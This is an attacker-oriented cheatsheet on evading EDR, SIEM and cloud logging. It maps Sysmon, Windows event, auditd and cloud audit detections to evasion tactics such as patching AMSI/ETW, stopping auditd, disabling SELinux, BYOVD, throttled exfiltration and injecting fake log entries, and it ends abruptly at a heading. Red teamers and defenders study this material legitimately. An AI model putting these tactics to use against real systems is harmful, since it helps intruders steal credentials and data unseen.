Stay_Low

EDR Evasion & OpSec Cheatsheet

📊 Visual Overview

EDR Detection & Evasion Pipeline

graph TB
    A[Operator Action] --> B{Detection Layer}
    B -->|Kernel Mode| C[Kernel Callbacks]
    B -->|User Mode| D[API Hooks]
    B -->|Behavioral| E[ML/AI Analysis]
    B -->|Network| F[Traffic Analysis]
    
    C --> G{Alert Triggered?}
    D --> G
    E --> G
    F --> G
    
    G -->|Yes| H[SIEM Correlation]
    G -->|No| I[Action Succeeds]
    
    H --> J{Alert Severity}
    J -->|Low| K[Logged]
    J -->|Medium| L[SOC Review Queue]
    J -->|High| M[Immediate IR Response]
    J -->|Critical| N[Auto-Containment]
    
    style M fill:#ff0000
    style N fill:#ff0000
    style I fill:#00ff00

Attack Path Decision Tree

graph LR
    A[Initial Access] --> B{EDR Present?}
    B -->|No| C[Standard TTPs]
    B -->|Yes| D{Identify EDR Type}
    
    D --> E{Detection Strength}
    E -->|Weak Elastic| F[Direct Syscalls OK]
    E -->|Moderate MDE| G[AMSI/ETW Bypass + Syscalls]
    E -->|Strong Falcon/S1| H[Advanced Evasion]
    
    H --> I[Sleep Obfuscation]
    H --> J[Indirect Syscalls]
    H --> K[Memory Encryption]
    H --> L[Legitimate Process Injection]
    
    F --> M[Execute Payload]
    G --> M
    I --> M
    J --> M
    K --> M
    L --> M
    
    M --> N{Detected?}
    N -->|Yes| O[Burn Infrastructure]
    N -->|No| P[Continue Operations]
    
    style O fill:#ff0000
    style P fill:#00ff00

Alert Severity & Response Timeline

gantt
    title EDR Alert Response Timeline
    dateFormat mm:ss
    axisFormat %M:%S
    
    section Low Severity
    Alert Generated           :00:00, 00:30
    Queued for Review        :00:30, 08:00
    
    section Medium Severity
    Alert Generated           :00:00, 00:30
    SOC Analyst Notified     :00:30, 02:00
    Initial Investigation    :02:00, 05:00
    
    section High Severity
    Alert Generated           :00:00, 00:15
    Immediate Escalation     :00:15, 01:00
    Active Investigation     :01:00, 03:00
    
    section Critical Severity
    Alert Generated           :00:00, 00:10
    Auto-Containment         :00:10, 00:30
    IR Team Activated        :00:30, 02:00
    Full Response            :02:00, 05:00

EDR Architecture & Bypass Points

graph TD
    subgraph "Kernel Space"
        A[Minifilter Drivers]
        B[Kernel Callbacks]
        C[ELAM Driver]
        D[PatchGuard/HyperGuard]
    end
    
    subgraph "User Space"
        E[IAT/EAT Hooks]
        F[Inline Hooks]
        G[ETW Providers]
        H[AMSI]
    end
    
    subgraph "Cloud/Network"
        I[Telemetry Agent]
        J[Network Filter]
        K[Cloud AI Analysis]
    end
    
    L[Your Payload] -.->|Bypass| M{Evasion Strategy}
    
    M -->|Option 1| N[Direct Syscalls]
    M -->|Option 2| O[Unhook NTDLL]
    M -->|Option 3| P[Patch AMSI/ETW]
    M -->|Option 4| Q[Process Hollowing]
    M -->|Option 5| R[Sleep Obfuscation]
    
    N -.->|Evades| E
    N -.->|Evades| F
    O -.->|Evades| E
    O -.->|Evades| F
    P -.->|Evades| G
    P -.->|Evades| H
    Q -.->|Evades| B
    R -.->|Evades| A
    
    B -.->|Blocks| Q
    D -.->|Blocks| N
    
    style D fill:#ff0000
    style B fill:#ff6600
    style N fill:#00ff00
    style O fill:#00ff00
    style P fill:#00ff00

MITRE ATT&CK to EDR Alert Mapping

graph LR
    subgraph "MITRE Tactics"
        T1[Initial Access]
        T2[Execution]
        T3[Persistence]
        T4[Privilege Escalation]
        T5[Defense Evasion]
        T6[Credential Access]
        T7[Discovery]
        T8[Lateral Movement]
        T9[Collection]
        T10[C2]
        T11[Exfiltration]
    end
    
    subgraph "Alert Types"
        A1[Behavioral]
        A2[System]
        A3[Network]
        A4[Log]
    end
    
    T1 --> A3
    T2 --> A2
    T2 --> A1
    T3 --> A2
    T3 --> A4
    T4 --> A1
    T4 --> A4
    T5 --> A1
    T6 --> A1
    T6 --> A2
    T7 --> A1
    T7 --> A4
    T8 --> A3
    T8 --> A4
    T9 --> A1
    T10 --> A3
    T11 --> A3
    
    style A1 fill:#ff0000
    style A2 fill:#ff6600
    style A3 fill:#ffaa00
    style A4 fill:#ffff00

🚨 Alert Types You Need to Watch

1. BEHAVIORAL ALERTS (AI/ML Detection - HIGHEST RISK)

Modern EDRs use machine learning models trained on millions of samples. They detect patterns and sequences rather than individual actions.

Behavior What Triggers It Detection Mechanism How to Avoid
Process Injection CreateRemoteThread, QueueUserAPC, SetThreadContext, NtMapViewOfSection into other processes Sequence of: OpenProcess → VirtualAllocEx → WriteProcessMemory → CreateRemoteThread Use syscalls, process doppelgänging, module stomping, or self-injection only. Space operations 30+ seconds apart
LSASS Access Opening handle to lsass.exe with PROCESS_VM_READ, PROCESS_QUERY_INFORMATION Direct process access monitoring via kernel callbacks (PsSetCreateProcessNotifyRoutine) Dump SAM/NTDS instead, use PPL bypass (kernel-level), or leverage Task Manager (silversploit technique), or comsvcs.dll MiniDump
Credential Dumping Reading memory regions with credentials, accessing SAM/SECURITY/SYSTEM hives Memory pattern matching (LSA secrets structure), registry hive access Avoid Mimikatz signatures, use custom parsers, parse offline copies, use DCSync instead
Suspicious Parent-Child cmd.exe spawned from outlook.exe, Office macros launching PowerShell, browsers spawning wscript Process tree analysis - historical baselines of "normal" parent-child relationships Use legitimate app chains (explorer.exe as parent), direct execution via scheduled tasks, or PPID spoofing
Lateral Movement PsExec, WMI remote execution, SMB file shares to ADMIN$, C$ Named pipe creation (\pipe\psexec), Service Control Manager operations, remote RPC calls Use DCOM, scheduled tasks, WinRM with valid credentials, MMC20.Application COM object
Privilege Escalation Token manipulation, UAC bypass, exploit usage, SeDebugPrivilege enable Token operations (NtDuplicateToken), registry keys (IFEO, Silent Process Exit), exploit behavior patterns Use LOLBAS techniques, slow escalation, fodhelper.exe UAC bypass, abuse misconfigured services
Persistence Creation Registry Run keys, scheduled tasks, service creation during suspicious activity Registry modification + network activity correlation, service creation outside maintenance windows Create persistence during normal working hours (9AM-5PM), use IFEO, COM hijacking, DLL search order, WMI event subscriptions
Command Obfuscation Base64-encoded commands, multiple layers of encoding, concatenation, variable expansion Entropy analysis, encoded command patterns, PowerShell encoding flags Use direct binary execution, compile .NET assemblies, avoid PowerShell EncodedCommand, use XOR/RC4 instead of Base64
Rapid Enumeration net user /domain, nltest, dsquery, BloodHound SharpHound in quick succession Volume of AD queries in short time window, LDAP query patterns, known tool signatures Slow down commands (2-5 min between), use native LDAP queries, use ADSearch with throttling, spread over days
Mass File Access Reading hundreds of files rapidly, accessing shares, VSS shadow copies File system I/O rate, entropy of accessed files, shadow copy creation Throttle file operations (10-20 files/minute), target specific files, use legitimate backup tools, avoid .doc/.xls/.pdf pattern
Anomalous Network Behavior Beaconing with regular intervals, high-frequency DNS queries, uncommon ports Statistical analysis of connection timing (jitter analysis), DGA detection, connection to recently-registered domains Use jitter 50-80%, domain fronting, sleep times >60 seconds, legitimate TLS certificates, mimic real application traffic
Memory Manipulation Allocating RWX memory, changing memory protections, suspicious memory patterns VirtualProtect calls (RW→RWX), NtProtectVirtualMemory, shellcode signatures in memory Stage permissions (RW → copy → RX), use ROP chains, encrypt shellcode at rest, sleep obfuscation techniques
Driver/Kernel Operations Loading unsigned drivers, kernel memory manipulation, ETWTI manipulation PsSetLoadImageNotifyRoutine callbacks, kernel memory writes, disabling ETW Use signed vulnerable drivers (BYOVD), legitimate kernel debugging, avoid kernel operations if possible
Suspicious Script Execution PowerShell/VBS/JS with obfuscation, AMSI bypass attempts, script from unusual location AMSI content inspection, script block logging analysis, parent process validation Use C#/C++ compiled payloads, inline C# with no disk touch, .NET assembly loading via unmanaged code
Token Theft/Manipulation Stealing tokens from other processes, impersonation, enabling privileges OpenProcessToken + DuplicateToken sequence, AdjustTokenPrivileges calls Use named pipe impersonation, COM elevation, legitimate runas, avoid direct token operations

Advanced Behavioral Detection Patterns:

Pattern Name Detection Logic Real Example Evasion
Time-Based Anomaly Actions outside normal user hours (2AM-6AM) Creating scheduled tasks at 3AM Operate during business hours (9AM-5PM local time)
Velocity Detection Too many actions in short time 50 LDAP queries in 30 seconds Slow to 1 action per 2-5 minutes
Geography Anomaly Logins from unusual locations User in NYC suddenly logs in from China Use VPN exit nodes in expected regions
Tool Chaining Known attack tool sequences BloodHound → Rubeus → PsExec Use different tools, long delays between (hours/days)
Living-Off-Land Abuse Legitimate tools used abnormally certutil.exe downloading files Use tools for their intended purpose, or obscure alternatives
Data Staging Large file operations to unusual locations Copying GB of data to C:\Temp Stage small amounts, use legitimate tools (7zip, WinRAR)
Protocol Anomaly Unexpected protocol usage SMB traffic from web server Match expected protocols for system role
Orphaned Process Process without expected parent powershell.exe with no parent or Parent PID = 0 Use PPID spoofing to set realistic parent

2. SYSTEM ALERTS (Endpoint/Host-Based Detection)

Windows Specific:

Alert Source What It Monitors Triggered By Technical Details How to Evade
Sysmon (Event IDs) Process creation, network, file creation, registry, pipes, WMI See detailed table below XML-based rule matching, kernel driver (fltMgr.sys minifilter) Disable Sysmon service (requires admin), use unlogged techniques (direct syscalls may bypass), rule-based exclusions
Windows Defender ATP File writes, memory scans, script execution, behavior monitoring Known signatures, AMSI content, behavioral anomalies Cloud-powered ML, ELAM driver, Antimalware Scan Interface Patch AMSI (AmsiScanBuffer), obfuscate payloads, in-memory only, disable cloud protection, use exclusion paths
ETW (Event Tracing for Windows) API calls system-wide, PowerShell activity, .NET runtime, network NtCreateThreadEx, PowerShell script blocks, DNS queries Kernel-level event collection (dozens of providers) Patch EtwEventWrite, disable providers (logman), use ETW bypass techniques (TamperETW)
AMSI (Antimalware Scan Interface) Scripts (PS, JS, VBS, .NET), modules loaded in-memory, VBA macros Script content analysis before execution In-memory buffer scanning before script execution Patch AmsiScanBuffer/AmsiInitFailed, use memory bypass, downgrade to PS v2, use unmanaged code loader
WMI Event Logs WMI queries, remote WMI execution, permanent event subscriptions wmic process call create, event filter creation Event ID 5857-5861 in Microsoft-Windows-WMI-Activity Use DCOM or CIM cmdlets sparingly, avoid WMI persistence, use legitimate management tools
PowerShell Logging Script Block Logging (EventID 4104), Transcription, Module Logging Any PowerShell activity with suspicious keywords Deep script inspection, logs content even if obfuscated Disable logging via registry (requires admin), avoid PS entirely, use C#/Reflection, use PS v2 (no SBL), load CLR directly
AppLocker/WDAC Executable/script execution policies, DLL loading Unsigned binaries, scripts from untrusted paths Hash-based, path-based, or publisher-based rules Use signed LOLBins (Living Off the Land Binaries), DLL sideloading with signed apps, bypass via InstallUtil/regasm/MSBuild
Credential Guard LSASS memory protection via virtualization Attempting to read LSASS memory Virtual Secure Mode (VSM) - hypervisor-based protection Use kerberoasting, AS-REP roasting, DCSync, SAM/NTDS dumps, token theft from non-LSASS processes
Device Guard/HVCI Code integrity enforcement, kernel mode integrity Loading unsigned kernel drivers, modifying kernel Hypervisor-enforced code integrity Use signed vulnerable drivers (BYOVD), exploit hardware vulnerabilities, userland-only operations
LSA Protection (RunAsPPL) Prevents non-PP processes from accessing LSASS Opening handle to LSASS Protected Process Light (PPL) - kernel flag Use kernel driver to remove PPL flag (Mimikatz mimidrv), exploit signed vulnerable drivers, use alternative credential sources
Attack Surface Reduction (ASR) Blocks risky behaviors like Office macros, script execution Office apps creating child processes, JS/VBS execution 15+ rules blocking common attack vectors Disable ASR rules (requires admin), use allowed applications, exploit rule gaps (e.g., Excel 4.0 macros)
Controlled Folder Access Prevents unauthorized apps from modifying files Writing to Documents, Pictures, Desktop Ransomware protection - whitelist-based file access Add your tool to whitelist (requires user approval), use signed/trusted apps, target non-protected locations
Smart App Control Application reputation and signature verification Running unknown/unsigned executables Cloud-based reputation, code signing validation Disable SAC (requires admin), use signed binaries, use MSI installers, leverage signed LOLBins

Critical Sysmon Event IDs (Comprehensive):

Event ID What It Logs Red Flag Actions Evasion Techniques
1 Process Creation Unusual parent-child (Office → cmd), rare binaries, suspicious command lines, renamed system tools PPID spoofing, use legitimate process chains, avoid suspicious CLIs, use GUI apps instead of CLI
2 File Creation Time Changed Timestomping with SetFileTime Don't modify timestamps, or match to similar files in directory
3 Network Connection C2 beacons to uncommon IPs, non-standard ports, connections from unexpected processes Domain fronting, use common ports (80/443), bind shells instead of reverse, use named pipes for local C2
5 Process Terminated Killing AV/EDR processes, suspicious termination patterns Don't kill security processes, use subtle evasion instead
6 Driver Loaded Unsigned/untrusted drivers, known vulnerable drivers Use signed Microsoft drivers, BYOVD (Bring Your Own Vulnerable Driver)
7 Image/DLL Load Unsigned DLLs, loaded into sensitive processes (lsass, csrss), reflective DLL loading patterns Use signed DLLs, legitimate DLL sideloading targets, avoid suspicious processes
8 CreateRemoteThread Any remote thread creation = injection alert Use other injection techniques (APC, SetThreadContext, Early Bird, Module Stomping), or inject into own process
9 RawAccessRead Reading raw disk sectors, shadow copy access Avoid raw disk access, use API-level file reading, don't access VSS
10 Process Access Opening lsass.exe, csrss.exe with suspicious rights (VM_READ, QUERY_INFORMATION) Avoid direct LSASS access, use indirect methods (MiniDumpWriteDump, comsvcs.dll), use SSP/AP instead
11 File Create Executables written to %TEMP%, suspicious extensions (.exe.txt), files in startup locations Write to user-writable but less suspicious paths, use legitimate file types, compile on-target instead of dropping
12/13/14 Registry Add/Set/Rename Run keys, debugger values (IFEO), COM hijacking, suspicious registry mods Use less-monitored persistence (WMI, scheduled tasks), blend with legitimate software, operate during install times
15 FileStream Created Alternate Data Streams (ADS), Zone.Identifier Don't use ADS for payloads, remove Zone.Identifier with unblock-file or manual deletion
17/18 Pipe Created/Connected Named pipe usage (common for C2, lateral movement) Use less-suspicious pipe names, avoid \pipe\psexec patterns, use sockets/TCP instead
19/20/21 WMI Filtering WMI event filters, consumers, bindings (persistence) Avoid WMI persistence, use other methods, remove WMI artifacts
22 DNS Query High-entropy domains, DGA patterns, known C2 domains, excessive queries Use legitimate domains (CDN fronting), low-entropy domains, DNS over HTTPS, limit query frequency
23 File Delete Deleting evidence, log clearing, shadow copy deletion Don't delete logs (huge red flag), use log injection instead, avoid VSS deletion
24 Clipboard Changed Capturing clipboard data (credential theft) Don't monitor clipboard unless necessary, use other keylogging methods
25 Process Tampering Process hollowing, Doppelganging, Herpaderping detection Use less-detected techniques (Early Bird, Module Stomping), avoid classic hollowing
26 File Delete Logged Shadow copy of deleted files for forensics Same as Event 23 - avoid deletion, use overwriting instead
27 File Block Executable Blocked by ASR or other rules Use allowed file types, signed executables, exploit rule gaps
28 File Block Shredding Ransomware-like file wiping detected Avoid mass file operations, throttle dramatically, don't use secure deletion
29 File Executable Detected Suspicious executable characteristics Obfuscate PE headers, use packers carefully (many are signatured), use script-based payloads

Windows Event Log Deep Dive:

Event ID Log Source What It Means What NOT to Do Safe Alternative
4624 Security Successful logon (Type 2=Interactive, 3=Network, 4=Batch, 5=Service, 7=Unlock, 9=NewCredentials, 10=RemoteInteractive/RDP, 11=CachedInteractive) Don't spam logins, avoid off-hours RDP (especially Type 10), don't use service accounts from unusual machines Use Type 3 (network) for lateral movement, match normal working hours, use existing sessions
4625 Security Failed logon (brute force indicator, tracked by account & source IP) Max 2-3 failed attempts then stop, don't brute force domain accounts (lockout policies) Use password spraying with long delays (30+ min), valid credential sources only
4648 Security Logon with explicit credentials (runas, PsExec, scheduled tasks) Avoid using unusual accounts, don't use from unexpected sources Use RunAs only with legitimate needs, match normal admin patterns
4672 Security Special privileges assigned (admin logon) - logs specific privileges granted Avoid logging in as DA unnecessarily, don't enable SeDebugPrivilege if not needed Use least-privilege accounts, enable privileges just-in-time, disable after use
4673 Security Sensitive privilege use (SeDebugPrivilege, SeBackupPrivilege, etc.) Don't abuse privileges unnecessarily, especially SeDebugPrivilege (needed for LSASS access) Use privileges sparingly, match normal admin activity patterns
4688 Security Process creation (if enabled) - command line logging Same as Sysmon Event 1 - avoid suspicious CLIs, renamed tools, unusual parent-child Use GUI tools, legitimate process chains, short/normal command lines
4697 Security Service installed (lateral movement, persistence indicator) Don't create obviously-named services, avoid installing services during attacks Use existing services, modify startup types, use other persistence methods
4698/4699/4700/4701/4702 Security Scheduled task created/deleted/enabled/disabled/updated Don't create tasks named "backdoor" or during off-hours, avoid unusual task patterns Create during business hours, use legitimate-sounding names, match normal admin activity
4720 Security User account created Only create accounts during business hours, use realistic names (not "hacker", "admin2"), follow naming conventions Create accounts via HR processes if possible, use temporary/contractor patterns
4722/4723/4724/4725/4726 Security User account enabled/password changed/reset/disabled/deleted Don't perform mass operations, avoid off-hours changes Match normal helpdesk patterns, one-at-a-time, during business hours
4732/4733/4746/4747/4756/4757 Security User added to/removed from privileged group (Admins, Domain Admins, Enterprise Admins, etc.) Avoid adding to Domain Admins directly (huge red flag), don't add during incident Use group nesting, add to lower-privileged groups, match normal admin delegation patterns
4738 Security User account changed (properties modified) Don't change security-sensitive properties (password not required, never expires, etc.) Change only necessary properties, match normal provisioning patterns
4740 Security User account locked out (repeated failed logins) NEVER trigger this - instant alert, tracked by SOC Use password spraying with extreme caution, validate credentials offline first
4768/4769 Security Kerberos TGT/TGS requested Unusual encryption types (RC4 vs AES), requests from unexpected IPs, high volume Use legitimate Kerberos patterns, don't over-request tickets, use credential cache
4770/4771 Security Kerberos ticket renewed/failed Excessive renewals, failures from unusual sources Let tickets expire naturally, don't spam ticket requests
4776 Security NTLM authentication (DC validated credentials) - less secure than Kerberos High NTLM usage when Kerberos is expected Use Kerberos when possible, understand why NTLM is used (may be necessary for SMB)
5140/5142/5143/5144/5145 Security Network share accessed/added/modified/deleted/detailed access Avoid \\*\C$ patterns, don't enumerate all shares, avoid IPC/ADMIN during attacks Use legitimate file shares, access specific files, avoid administrative shares
5156 Security Windows Filtering Platform allowed connection (firewall) Unusual ports, high-frequency connections, connections to rare IPs Use common ports (80/443), limit connection frequency, use domain fronting
7034/7035/7036/7040/7045 System Service crashed/start command sent/state change/start type changed/installed Service installs during attacks (7045 is critical), crashes of security services Use existing services, don't install new ones, don't crash security services
1102 Security Audit log cleared (HUGE RED FLAG - instant critical alert) NEVER clear logs - it's impossible to hide and triggers immediate investigation Don't touch logs at all, bypass detection instead of covering tracks
1100 Security Event logging service shut down Same as 1102 - instant critical alert Never stop logging services
104 System Event log cleared Any log clearing = critical alert (Security, System, Application, etc.) Don't clear logs, ever

Linux Specific:

Alert Source What It Monitors Triggered By Technical Details How to Evade
auditd Syscalls, file access, process execution, user actions Sensitive file access (/etc/shadow, /etc/passwd), privilege changes (sudo, su), syscalls (execve, socket) Kernel-level audit framework, rules in /etc/audit/audit.rules Disable auditd (service auditd stop), modify rules (auditctl -D), use kernel rootkit to hide, operate in containers
eBPF-based EDR Syscall tracing, network traffic, file operations, kernel events Raw syscalls, socket creation, file opens, process execution BPF programs attached to kernel tracepoints/kprobes Use indirect syscalls (hard on Linux), memory-only payloads, avoid common syscalls, unload BPF programs
Falco/Sysdig Container escapes, kernel module loads, sensitive file access, network anomalies insmod/modprobe, /proc manipulation, container breakout attempts, bind shells eBPF or kernel module for event collection, YAML rule-based detection Rootkit techniques, userland-only operations, use legitimate admin tools, operate within expected container behavior
SELinux/AppArmor File access policies, capability enforcement, process confinement Unauthorized file access, capability usage (CAP_SYS_ADMIN, CAP_DAC_OVERRIDE), policy violations Mandatory Access Control (MAC) - kernel-enforced policies Exploit misconfigured policies, disable enforcement (setenforce 0), use allowed capabilities only, escalate to root then bypass
osquery System state queries, file integrity, process monitoring, user activity Changes to critical files, unexpected processes, network listeners, user changes SQL-based system instrumentation, scheduled queries Identify query patterns, hide from process lists, modify osquery config, stop osqueryd service
AIDE/Tripwire File integrity monitoring (FIM) Changes to monitored files (binaries, configs, logs) Cryptographic hashes of files, periodic comparisons Don't modify monitored files, or update hash database, operate in non-monitored directories
/var/log monitoring Authentication logs, system logs, application logs SSH logins (/var/log/auth.log), sudo usage, service changes Log aggregation to SIEM, real-time analysis Don't clear logs, inject fake entries to blend in, use legitimate services, disable remote logging
sshd logging SSH authentication attempts, sessions, commands (if enabled) Failed SSH attempts, unusual usernames, command execution logs Logs to /var/log/auth.log or /var/log/secure Use key-based auth, match normal login patterns, avoid suspicious commands, use SSH tunneling for C2

Linux Auditd Critical Rules:

Rule Target What It Monitors Example Rule Evasion
/etc/passwd, /etc/shadow User account modifications -w /etc/shadow -p wa -k shadow_changes Don't modify directly, use usermod/useradd which may be whitelisted, or use kernel rootkit
Privileged Commands sudo, su, pkexec execution -w /usr/bin/sudo -p x -k sudo_execution Use alternative privilege escalation (SUID binaries, kernel exploits), polkit abuse
Syscalls execve, socket, connect, bind -a always,exit -F arch=b64 -S execve -k exec Hide from syscall monitoring (rootkit), use legitimate binaries for execution
Kernel Modules insmod, modprobe, rmmod -w /sbin/insmod -p x -k module_insertion Use rootkit to hide module, load during boot, use eBPF instead of kernel module
Network Operations Socket creation, bind, connect -a always,exit -F arch=b64 -S socket -S bind -S connect -k network Use existing connections, reverse shells via cron/systemd timers, use Unix sockets
File Deletions unlink, unlinkat, rename -a always,exit -F arch=b64 -S unlink -S unlinkat -k delete Don't delete, overwrite instead, use tmpfs/ramfs for temporary files
Cron/Systemd Persistence via scheduling -w /etc/cron.d/ -p wa -k cron_persistence Use less-monitored persistence (.bashrc, LD_PRELOAD, legitimate services), blend with existing tasks

3. LOG ALERTS (SIEM/Analytics Detection)

SIEMs correlate events across multiple sources to detect attack patterns that individual alerts might miss.

Windows Event Correlation Patterns:

Attack Pattern Event Correlation SIEM Logic How to Avoid
Pass-the-Hash 4624 Type 3 + NTLM auth (4776) + Unusual source IP (EventID=4624 AND LogonType=3 AND AuthPackage=NTLM) AND (Source IP NOT IN TypicalAdminIPs) Use Kerberos instead, or ensure source IP matches normal admin patterns
Golden Ticket 4768/4769 with unusual encryption, no corresponding 4624, or from non-existent user (EventID=4768 AND TicketEncryption=RC4) AND (User NOT IN ActiveUsers) Use Silver Tickets instead (less visibility), use AES encryption, use existing accounts
DCSync 4662 on AD object with Control Access GUID + unusual source (EventID=4662 AND ObjectName="DC=domain" AND Properties CONTAINS "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2") Perform from expected admin workstations, during maintenance windows, use legitimate replication tools
Kerberoasting Multiple 4769 for SPN services with RC4, from single user (EventID=4769 AND ServiceName NOT IN CommonServices AND TicketEncryption=RC4) GROUP BY SourceUser HAVING COUNT > 10 Space out requests (1 per hour), use AES if possible, use multiple compromised accounts
Credential Bruteforce Multiple 4625 + eventual 4624 from same source (EventID=4625 AND SourceIP=X) GROUP BY TargetUser HAVING COUNT > 3 Never brute force, use password spraying with long delays, use valid creds only
Lateral Movement 4624 Type 3 + 4688 (remote process) + 5140 (share access) + 7045 (service install) all within minutes EventSequence(4624, 5140, 7045) WHERE TimeDelta < 5min Space out actions (hours, not minutes), use different techniques for each hop, use existing sessions
Privilege Escalation 4672 (privilege assignment) + 4673 (privilege use) + 4688 (suspicious process) (EventID=4672 AND PrivilegeList CONTAINS "SeDebugPrivilege") AND (EventID=4688 AND ProcessName="suspicious.exe") Use legitimate admin tools, don't enable SeDebugPrivilege unless necessary, use LOLBins
Persistence Installation 4698 (task) OR 7045 (service) OR 4657 (registry) during non-change-window (EventID=4698 OR EventID=7045) AND (TimeOfDay NOT BETWEEN 09:00 AND 17:00) Install during business hours, use change management tickets as cover, use less-monitored persistence
Data Exfiltration 5156 (network connection) + High volume + Unusual destination (EventID=5156 AND DestinationIP NOT IN Whitelist) GROUP BY SourceProcess HAVING SUM(Bytes) > 100MB Throttle exfil (<10MB/hour), use HTTPS to legitimate services (OneDrive, Google Drive), encrypt and chunk
Ransomware Behavior Multiple 4663 (file access) + 5145 (share access) + 4663 (file modify) + High entropy changes (EventID=4663 AND AccessMask=0x2 AND ObjectType=File) GROUP BY SourceProcess HAVING COUNT > 100 AND TimeDelta < 10min Don't exhibit ransomware behavior (mass file access), target specific files only, throttle dramatically

Cloud Platform Logs (Enhanced):

AWS CloudTrail (High-Risk Events):

Event What It Logs Suspicious When Normal vs Anomalous Evasion
AssumeRole Role switching, cross-account access Too many role hops, unusual service principals, assume role to admin roles Normal: App services assuming roles; Anomalous: User assuming multiple high-privilege roles rapidly Use assumed roles sparingly, match normal access patterns, use long-lived role sessions
GetSecretValue Secrets Manager secret access Bulk secret enumeration, access from unusual IPs, first-time access by user Normal: App retrieving its own secrets; Anomalous: User enumerating all secrets Access only necessary secrets, use IAM policies to limit scope, match application access patterns
DescribeInstances, DescribeSecurityGroups EC2 enumeration Rapid API calls, unusual source IPs, enumeration from compromised instances Normal: Monitoring tools; Anomalous: High-frequency calls from unusual sources Slow down enumeration, use assumed roles from expected services, leverage AWS CLI with proper credentials
PutBucketPolicy, PutBucketAcl S3 policy/ACL changes Public-facing bucket creation, unrestricted access, changes from unusual principals Normal: DevOps changes with change tickets; Anomalous: Sudden public access grants Use private buckets only, implement bucket policies gradually, use AWS Organizations SCPs to prevent
CreateAccessKey, CreateLoginProfile IAM credential creation Access keys created for dormant users, login profiles for service accounts, creation from unusual sources Normal: New employee onboarding; Anomalous: Keys created for admin users during off-hours Create credentials during business hours, use temporary credentials (STS), match HR patterns
ConsoleLogin AWS console login Logins from TOR/VPN, unusual countries, unusual user agents, MFA not used Normal: Employee from office IP with MFA; Anomalous: Admin from new country without MFA Use MFA always, match geographic patterns, use legitimate IPs, match normal working hours
DeleteTrail, StopLogging, PutEventSelectors CloudTrail manipulation Disabling logging, modifying what's logged Normal: Never; Anomalous: Always suspicious Never touch CloudTrail, use separate AWS account for attacks, accept that logs will exist
RunInstances EC2 instance launch Launching expensive instances, unusual regions, crypto-mining instances Normal: Expected instance types in prod regions; Anomalous: p3.16xlarge in unused region Launch instances matching normal patterns, use existing instances, launch during business hours
PutUserPolicy, AttachUserPolicy IAM permission grants Privilege escalation, granting admin access, attaching PowerUser/Admin policies Normal: Gradual permission grants with tickets; Anomalous: Sudden admin policy attachment Use groups instead of direct user policies, escalate gradually, match normal IAM workflows
GetSessionToken, GetFederationToken Temporary credential requests High volume, MFA not used, unusual sources Normal: Legitimate app authentication; Anomalous: Bulk token generation Use STS tokens legitimately, include MFA when possible, match application patterns
CreateFunction, UpdateFunctionCode Lambda function creation/modification Functions with outbound network access, functions accessing sensitive resources Normal: Deployment via CI/CD; Anomalous: Manual function creation with broad IAM role Use CI/CD for deployments, match deployment patterns, avoid overly-permissive Lambda roles
ModifyDBInstance, CreateDBSnapshot RDS database operations Snapshots to unusual accounts, public accessibility changes, deletion protection disabled Normal: Scheduled backups, maintenance windows; Anomalous: Snapshot sharing to external account Use legitimate backup procedures, don't share snapshots externally, match DBA patterns

Azure Activity Logs (High-Risk Events):

Event What It Logs Suspicious When Normal vs Anomalous Evasion
ServicePrincipalSignIn Service principal/app authentication Unusual app IDs, off-hours auth, high-frequency sign-ins, new applications Normal: Known apps authenticating; Anomalous: New app ID with Owner permissions Use existing service principals, authenticate during business hours, match application patterns
ListKeys, RegenerateKey Storage account key access/regeneration Bulk key enumeration, key regeneration for multiple accounts, unusual sources Normal: Rare key regeneration by admins; Anomalous: Listing keys for all storage accounts Access only necessary keys, don't enumerate all accounts, use SAS tokens instead
CreateRoleAssignment Permission grants (RBAC) Privilege escalation to Owner/Contributor, grants from unusual principals, high-frequency grants Normal: IT admin granting permissions with ticket; Anomalous: User granting themselves Owner role Use least-privilege roles, grant during business hours, match normal IAM workflows, use PIM (Privileged Identity Management)
GetToken MS Graph API token requests Mass Graph API calls, enumeration of users/groups/mail, unusual scopes requested Normal: App with specific Graph permissions; Anomalous: User token with Mail.Read, User.Read.All, etc. Use app-only permissions when possible, limit scopes, match application access patterns
CreateVirtualMachine VM creation VMs in unusual regions, expensive SKUs, VMs with public IPs Normal: Expected VM types in prod regions; Anomalous: Large VMs in unused regions Match normal VM patterns, use existing VMs, deploy during business hours
AddServicePrincipalCredentials Adding credentials to service principals Adding secrets to high-privilege apps, credential stuffing attacks Normal: Planned credential rotation; Anomalous: Adding secrets to admin-consented apps Use existing credentials, rotate during maintenance windows, match DevOps patterns
ConsentToApplication User/admin consent to app permissions Admin consent to apps with high permissions, consent from unusual users/locations Normal: IT admin consent to known apps; Anomalous: User consent to app with Mail.Read.All Use legitimate apps only, ensure admin consent process, avoid illicit consent grants
AzureActiveDirectoryAdministratorWrite Azure AD admin changes Adding global admins, modifying conditional access, disabling MFA Normal: Planned admin changes with approval; Anomalous: Sudden Global Admin additions Use PIM for temporary admin, match normal IAM workflows, operate during business hours
SecurityAlert Microsoft Defender for Cloud alerts Impossible travel, suspicious sign-ins, malware detected, credential dumping Normal: None; Anomalous: Always investigate Avoid triggering Defender alerts, match normal user behavior, use clean tools
DeleteResourceGroup, DeleteResource Resource deletion Mass deletions, critical resource deletions, deletion protection bypasses Normal: Decommissioning with change ticket; Anomalous: Sudden deletion of prod resources Don't delete resources (huge red flag), operate within resources, avoid destructive actions

GCP Cloud Audit Logs (High-Risk Events):

Event What It Logs Suspicious When Evasion
storage.buckets.getIamPolicy, storage.buckets.setIamPolicy GCS bucket permission changes Making buckets public, granting allUsers/allAuthenticatedUsers Match normal storage team patterns, use private buckets only, implement Org Policies
compute.instances.list, compute.instances.get GCE enumeration Rapid API calls, cross-project enumeration Slow down, use project-specific access, match normal monitoring tools
iam.serviceAccounts.keys.create Service account key creation Creating keys for high-privilege SAs, key creation from unusual sources Use workload identity instead of keys, match normal DevOps patterns, rotate keys properly
iam.roles.create, iam.roles.update Custom IAM role creation Creating roles with dangerous permissions (iam.serviceAccounts.actAs, compute.instances.setMetadata) Use predefined roles, create custom roles during planning phases with documentation
SetIamPolicy IAM permission grants Granting Owner/Editor, unusual principals, cross-project grants Use least-privilege, grant during business hours, match normal access patterns
cloudfunctions.functions.create, cloudfunctions.functions.update Cloud Function operations Functions with outbound access, sensitive API calls, unusual source code Use CI/CD for deployments, match normal deployment patterns, avoid overly-permissive roles

🎯 Detection Mechanism Deep Dive

Kernel-Mode Detection (Hardest to Bypass):

